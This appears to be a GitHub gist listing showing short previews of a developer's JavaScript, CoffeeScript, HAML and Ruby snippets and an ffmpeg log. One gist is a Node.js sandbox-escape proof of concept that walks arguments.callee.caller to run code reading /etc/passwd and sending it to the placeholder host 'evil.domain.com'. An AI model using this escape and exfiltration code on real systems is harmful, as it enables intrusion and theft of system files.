Bjørge Næss bjoerge

View combine.js
1 2 3 4 5 6 7 8 9
function combine() {
var funcs = Array.prototype.slice.call(arguments, 0);
return function(obj) {
var _this = this;
return funcs.reduce(function(v, func) {
return func.call(_this, v);
}, obj)
}
}
View gist:5592444
1
$('[datetime]').each(function() { $('<p>'+new Date($(this).attr('datetime'))+'</p>').insertAfter($(this))})
View gist:5575232
1 2 3 4 5 6 7 8 9 10
May 14 13:05:52 riktig.bengler.no: Running command: ffmpeg -i '/tmp/tootsie20130514-15492-1exldxc' -threads '1' -v '1' -y -acodec 'libmp3lame' -ar '44100' -ab '128000' -qscale '1.0' -f 'mp3' '/tmp/tootsie20130514-15492-1wksk7d' 2>&1
May 14 13:05:53 riktig.bengler.no: [Command output] Stream mapping:
May 14 13:05:53 riktig.bengler.no: [Command output] Stream #0.0 -> #0.0
May 14 13:05:53 riktig.bengler.no: [Command output] Press ctrl-c to stop encoding
May 14 13:05:53 riktig.bengler.no: [Command output] Error while decoding stream #0.0
May 14 13:06:05 riktig.bengler.no: [Command output] size= 168kB time=10.74 bitrate= 128.1kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 319kB time=20.40 bitrate= 128.1kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 474kB time=30.30 bitrate= 128.0kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 641kB time=41.04 bitrate= 128.0kbits/s
May 14 13:06:05 riktig.bengler.no: [Command output] size= 804kB time=51.44 b
View profilbildeforstorrer.js
1 2 3 4 5 6 7 8 9 10
(function ($) {
 
// Tha popup component
var Popup = (function () {
 
// Constrain the popup to be within this margin of the page
var margin = {top: 10, bottom: 30};
 
// Get current viewport
function getViewport() {
View form.haml
1 2 3 4 5 6 7
%form(id="uploadform" action="/images/upload" method="post")
File:
%input(type="file" name="file")
%button.upload(type="button") Upload
.image_container
.progress.active
.bar
View human_date.rb
1
HumanDate.relative(DateTime.parse("August 23, 2012 00:00:00 UTC"), :today => DateTime.parse("2012-08-23")).should eq "i dag"
View gist:2889278
1 2
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller;
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();");
View gist:2690398
1 2 3 4 5 6 7 8 9 10
# Cross browser xmlhttprequest function (based on http://www.quirksmode.org/js/xmlhttp.html)
xhrGet = do ->
 
XMLHttpFactories = [
-> new XMLHttpRequest()
-> new ActiveXObject("Msxml2.XMLHTTP")
-> new ActiveXObject("Msxml3.XMLHTTP")
-> new ActiveXObject("Microsoft.XMLHTTP")]
 
createXHR = ->
View gist:1885939
1 2 3 4 5 6 7 8 9 10
after = (ms, func) ->
setTimeout func, ms
 
 
after 200, ->
console.log "200 milliseconds passed"
 
 
after 400, ->
console.log "400 milliseconds passed"
Something went wrong with that request. Please try again.